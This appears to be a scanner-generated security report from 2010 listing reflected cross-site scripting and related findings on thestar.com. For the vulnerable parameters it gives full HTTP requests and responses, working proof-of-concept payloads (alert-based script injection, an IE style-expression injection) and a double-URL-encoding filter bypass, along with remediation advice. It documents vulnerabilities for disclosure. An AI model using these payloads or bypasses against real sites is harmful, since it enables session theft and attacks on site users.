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Report generated by XSS.CX at Sat Nov 20 14:22:37 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.thestar.com//mostpopular [REST URL parameter 1]

1.2. http://www.thestar.com//mostpopular [WMP_Type parameter]

1.3. http://www.thestar.com/ScriptResource.axd [REST URL parameter 1]

1.4. http://www.thestar.com/Toplets/Polling/caching/PollRequest [PollNavigation parameter]

1.5. http://www.thestar.com/Toplets/Polling/caching/PollRequest [REST URL parameter 1]

1.6. http://www.thestar.com/Toplets/Polling/caching/PollRequest [REST URL parameter 2]

1.7. http://www.thestar.com/Toplets/Polling/caching/PollRequest [REST URL parameter 3]

1.8. http://www.thestar.com/WebResource.axd [REST URL parameter 1]

1.9. http://www.thestar.com/favicon.ico [REST URL parameter 1]

1.10. http://www.thestar.com/includes/columnist [REST URL parameter 1]

1.11. http://www.thestar.com/includes/columnist [REST URL parameter 2]

1.12. http://www.thestar.com/includes/headerweather [REST URL parameter 1]

1.13. http://www.thestar.com/includes/headerweather [REST URL parameter 2]

1.14. http://www.thestar.com/includes/stockmarket [REST URL parameter 1]

1.15. http://www.thestar.com/includes/stockmarket [REST URL parameter 2]

1.16. http://www.thestar.com/includes/thebreak [REST URL parameter 1]

1.17. http://www.thestar.com/includes/thebreak [REST URL parameter 2]

1.18. http://www.thestar.com/mostpopular [MP_Home parameter]

1.19. http://www.thestar.com/mostpopular [REST URL parameter 1]

1.20. http://www.thestar.com/mostpopular [WMP_Type parameter]

1.21. http://www.thestar.com/searchresults [REST URL parameter 1]

1.22. http://www.thestar.com/searchresults [q parameter]

1.23. http://www.thestar.com/searchresults [q parameter]

1.24. http://www.thestar.com/xd_receiver.htm [REST URL parameter 1]

2. Cross-domain Referer leakage

2.1. http://www.thestar.com//mostpopular

2.2. http://www.thestar.com/Toplets/Polling/caching/PollRequest

2.3. http://www.thestar.com/includes/headerweather

2.4. http://www.thestar.com/mostpopular

2.5. http://www.thestar.com/searchresults

2.6. http://www.thestar.com/searchresults

3. Cross-domain script include

3.1. http://www.thestar.com/

3.2. http://www.thestar.com//mostpopular

3.3. http://www.thestar.com/mostpopular

3.4. http://www.thestar.com/searchresults

3.5. http://www.thestar.com/xd_receiver.htm

4. Cookie without HttpOnly flag set

5. Email addresses disclosed

5.1. http://www.thestar.com/

5.2. http://www.thestar.com/searchresults

6. HTML does not specify charset

7. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 24 instances of this issue:

//mostpopular [REST URL parameter 1]
//mostpopular [WMP_Type parameter]
/ScriptResource.axd [REST URL parameter 1]
/Toplets/Polling/caching/PollRequest [PollNavigation parameter]
/Toplets/Polling/caching/PollRequest [REST URL parameter 1]
/Toplets/Polling/caching/PollRequest [REST URL parameter 2]
/Toplets/Polling/caching/PollRequest [REST URL parameter 3]
/WebResource.axd [REST URL parameter 1]
/favicon.ico [REST URL parameter 1]
/includes/columnist [REST URL parameter 1]
/includes/columnist [REST URL parameter 2]
/includes/headerweather [REST URL parameter 1]
/includes/headerweather [REST URL parameter 2]
/includes/stockmarket [REST URL parameter 1]
/includes/stockmarket [REST URL parameter 2]
/includes/thebreak [REST URL parameter 1]
/includes/thebreak [REST URL parameter 2]
/mostpopular [MP_Home parameter]
/mostpopular [REST URL parameter 1]
/mostpopular [WMP_Type parameter]
/searchresults [REST URL parameter 1]
/searchresults [q parameter]
/searchresults [q parameter]
/xd_receiver.htm [REST URL parameter 1]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.thestar.com//mostpopular [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	//mostpopular

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 151a0'%3b41495d20265 was submitted in the REST URL parameter 1. This input was echoed as 151a0';41495d20265 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //mostpopular151a0'%3b41495d20265?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widgetf1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eHOYT%20LLC%20PoC HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230323693%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.3.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:30:11 GMT
X-Varnish: 2024539101
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 53182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_mostpopular151a0';41495d20265_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.2. http://www.thestar.com//mostpopular [WMP_Type parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thestar.com
Path:	//mostpopular

Issue detail

The value of the WMP_Type request parameter is copied into the HTML document as plain text between tags. The payload 913f5%253cscript%253ealert%25281%2529%253c%252fscript%253eddf40abfffe was submitted in the WMP_Type parameter. This input was echoed as 913f5<script>alert(1)</script>ddf40abfffe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the WMP_Type request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET //mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widgetf1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eHOYT%20LLC%20PoC913f5%253cscript%253ealert%25281%2529%253c%252fscript%253eddf40abfffe HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230323693%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.3.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

1.3. http://www.thestar.com/ScriptResource.axd [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/ScriptResource.axd

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 297ef'%3bf80f9b291c1 was submitted in the REST URL parameter 1. This input was echoed as 297ef';f80f9b291c1 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /297ef'%3bf80f9b291c1?d=Hqvm3mzRTuNOMXZRRj34bzAjv7J5UDk_20NBE9OmfdUrrl5lYiVnXxwyMqZSRPaSqEL6KF3vSAvprKpIVjDUd0jOjKR4tBhCFI9yqoQcIbKdl00xqcDZyzeDzYkQXFfKrdZ3kj88u3EiKnmo8FR9iDDehMwlV7ZxwLh2flJBRS0UTRtl0&t=ffffffffdd05d692 HTTP/1.1
Accept: */*
Referer: http://www.thestar.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12

Response

1.4. http://www.thestar.com/Toplets/Polling/caching/PollRequest [PollNavigation parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/Toplets/Polling/caching/PollRequest

Issue detail

The value of the PollNavigation request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb1cf"style%3d"x%3aexpression(alert(1))"49c512d9aaf was submitted in the PollNavigation parameter. This input was echoed as eb1cf"style="x:expression(alert(1))"49c512d9aaf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /Toplets/Polling/caching/PollRequest?assetId=893776&resultTemplate=/Toplets/Polling/PollResult&returnTo=/toplets/polling/sample/polling&postLocation=/Toplets/Polling&pollTemplate=/Toplets/Polling/caching/PollRequest&PollNavigation=688739eb1cf"style%3d"x%3aexpression(alert(1))"49c512d9aaf&Poll_ApplyGoogleAnalytics=true&Poll_GAType=Widget&Poll_GADir=Home HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:19:53 GMT
X-Varnish: 2024491091
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 3283

<div class="ts-module_header_blue">
<span class="ts-shadow_container" >Have Your Say<span class="ts-shadow_highlight">Have Your Say</span></span>
</div>
<div class="ts-mo
...[SNIP]...
<a href="javascript:PostPoll('/Toplets/Polling', '', '893776', '', '/Toplets/Polling/PollResult', '/toplets/polling/sample/polling', '/Toplets/Polling/caching/PollRequest','688739eb1cf"style="x:expression(alert(1))"49c512d9aaf','true','Widget','Home');javascript: pageTracker._trackPageview('Home/Widget/Have Your Say/Vote/TheStar/1');"
class="">
...[SNIP]...

1.5. http://www.thestar.com/Toplets/Polling/caching/PollRequest [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/Toplets/Polling/caching/PollRequest

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3e23'%3be1c8d73ea50 was submitted in the REST URL parameter 1. This input was echoed as d3e23';e1c8d73ea50 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /Topletsd3e23'%3be1c8d73ea50/Polling/caching/PollRequest?assetId=893776&resultTemplate=/Toplets/Polling/PollResult&returnTo=/toplets/polling/sample/polling&postLocation=/Toplets/Polling&pollTemplate=/Toplets/Polling/caching/PollRequest&PollNavigation=688739&Poll_ApplyGoogleAnalytics=true&Poll_GAType=Widget&Poll_GADir=Home HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-1
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:20:59 GMT
X-Varnish: 2024496284
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 53996

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_topletsd3e23';e1c8d73ea50_polling_caching_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.6. http://www.thestar.com/Toplets/Polling/caching/PollRequest [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/Toplets/Polling/caching/PollRequest

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 71bed'%3b70e3a79f874 was submitted in the REST URL parameter 2. This input was echoed as 71bed';70e3a79f874 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /Toplets/Polling71bed'%3b70e3a79f874/caching/PollRequest?assetId=893776&resultTemplate=/Toplets/Polling/PollResult&returnTo=/toplets/polling/sample/polling&postLocation=/Toplets/Polling&pollTemplate=/Toplets/Polling/caching/PollRequest&PollNavigation=688739&Poll_ApplyGoogleAnalytics=true&Poll_GAType=Widget&Poll_GADir=Home HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

1.7. http://www.thestar.com/Toplets/Polling/caching/PollRequest [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/Toplets/Polling/caching/PollRequest

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6d62d'%3bcb92d2c9486 was submitted in the REST URL parameter 3. This input was echoed as 6d62d';cb92d2c9486 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /Toplets/Polling/caching6d62d'%3bcb92d2c9486/PollRequest?assetId=893776&resultTemplate=/Toplets/Polling/PollResult&returnTo=/toplets/polling/sample/polling&postLocation=/Toplets/Polling&pollTemplate=/Toplets/Polling/caching/PollRequest&PollNavigation=688739&Poll_ApplyGoogleAnalytics=true&Poll_GAType=Widget&Poll_GADir=Home HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:22:16 GMT
X-Varnish: 2024502611
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 53312

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_toplets_polling_caching6d62d';cb92d2c9486_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.8. http://www.thestar.com/WebResource.axd [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/WebResource.axd

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ece9'%3b9bee953c985 was submitted in the REST URL parameter 1. This input was echoed as 1ece9';9bee953c985 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /1ece9'%3b9bee953c985?d=pF4WHrC6CQAEdIripK6hpXrGKciG73Muk1soIJ0MQOWoRgh3Dsal5VO6jmBv9cEjUs00vJKT9euwDWEtK7Z0MXNi0eQ1&t=634210220612724343 HTTP/1.1
Accept: */*
Referer: http://www.thestar.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12

Response

1.9. http://www.thestar.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53586'%3b10e8003cd88 was submitted in the REST URL parameter 1. This input was echoed as 53586';10e8003cd88 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /53586'%3b10e8003cd88 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230323693%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.3.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-1
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:29:20 GMT
X-Varnish: 2024535303
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52052

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<scr'+'ipt language="javascript1.1" src="http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_53586';10e8003cd88_hub_237x90_1;size=237x90;key=;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=">
...[SNIP]...

1.10. http://www.thestar.com/includes/columnist [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thestar.com
Path:	/includes/columnist

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 950de'%3be3346b4910 was submitted in the REST URL parameter 1. This input was echoed as 950de';e3346b4910 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /includes950de'%3be3346b4910/columnist?Query=FullCategory%3A%22/News%22 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://www.thestar.com/
Accept: text/html, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
WS: 2-2
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:21:08 GMT
X-Varnish: 2024497089
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: MISS
Content-Length: 52926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
